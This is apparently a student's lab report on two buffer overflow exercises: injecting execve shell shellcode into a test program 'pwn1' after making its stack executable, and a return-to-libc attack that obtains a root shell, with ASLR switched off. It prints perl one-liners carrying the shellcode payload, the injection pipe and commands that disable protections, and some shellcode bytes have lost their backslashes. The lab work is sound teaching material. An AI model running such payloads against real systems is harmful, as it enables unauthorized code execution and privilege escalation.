zoukankan      html  css  js  c++  java
  • 20145212罗天晨 注入shellcode实验及Retuen-to-libc实验

    注入shellcode实验

    实验步骤

    一、准备一段shellcode

    二、设置环境

    • Bof攻击防御技术
      1.从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
      2.GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)
      3.此时就需要手动设置环境,具体在终端中输入如下:
    apt-cache search execstack
    apt-get install execstack
    execstack --help
    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    

    三、构造要注入的payload

    • 1.Linux下有两种基本构造攻击buf的方法:
    //缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
    1.retaddr+nop+shellcode
    2.nop+shellcode+retaddr
    
    • 2.在终端中输入如下:
      perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
      上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
      特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。

    • 3.打开一个新的终端窗口注入这段攻击buf,具体输入如下:
      (cat input_shellcode;cat) | ./pwn1

    • 4.从图中可以看出此时不知道该覆盖的地址是什么,当然是不成功的。这就意味着需要在另一个终端通过gdb调试确定返回地址。(具体如何在终端中运行不再赘述)

      断在了ret的位置,也就是说,ret之后就跳到我们覆盖的retaddr那个地方了
      此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

    • 5.通过如下方式寻找需要输入的地址:

      //看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd61c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd620

    • 6.回到另一个终端,将input_shellcode修改如下:
      perl -e 'print "A" x 32;print "x20xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

      成功了!!!


    Retuen-to-libc实验

    return-to-libc攻击是一种缓冲区溢出的变体攻击。这种攻击不需要一个栈就可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

    实验步骤

    一、配置实验环境

    • 1.在自己的虚拟机上输入命令安装一些用于编译32位C程序的东西,输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用 bash。
    sudo apt-get update
    sudo apt-get install lib32z1 libc6-dev-i386
    sudo apt-get install lib32readline-gplv2-devsudo apt-get install lib32readline-gplv2-dev
    linux32
    /bin/bash
    

    • 2.关闭地址随机化:
      sudo sysctl -w kernel.randomize_va_space=0

    二、漏洞程序

    • 1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:
    • 2.我们还需要用到一个读取环境变量的程序:

    三、攻击程序

    • 1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

    • 2.用刚才的getenvaddr程序获得BIN_SH地址:

    • 3.利用gdb获得system和exit地址:

    • 4.将找到的三个内存地址填写在exploit.c中:

    • 5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:

    • 6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:

    四、总结

    这次的shellcode注入实验是根据老师给出的步骤一步一步实现的,同时也顺利的跳入了老师挖的坑=。=...
    跳坑的原因显然是我对于堆栈、地址的理解还不够透彻,没有注意到真正应该改成什么样的地址,今后的学习中我会通过更多的动手实践加深对此的理解。

  • 相关阅读:
    HLG 1522 子序列的和【队列的应用】
    POJ 3273 Monthly Expense【二分】
    HDU 4004 The Frog's Games 【二分】
    POJ 2001 Shortest Prefixes【第一棵字典树】
    POJ 2823 Sliding Window【单调对列经典题目】
    HDU 1969 Pie 【二分】
    POJ 3125 Printer Queue【暴力模拟】
    POJ 3250 Bad Hair Day【单调栈】
    字典树【模板】
    验证码 Code
  • 原文地址:https://www.cnblogs.com/alovera/p/6498408.html
Copyright © 2011-2022 走看看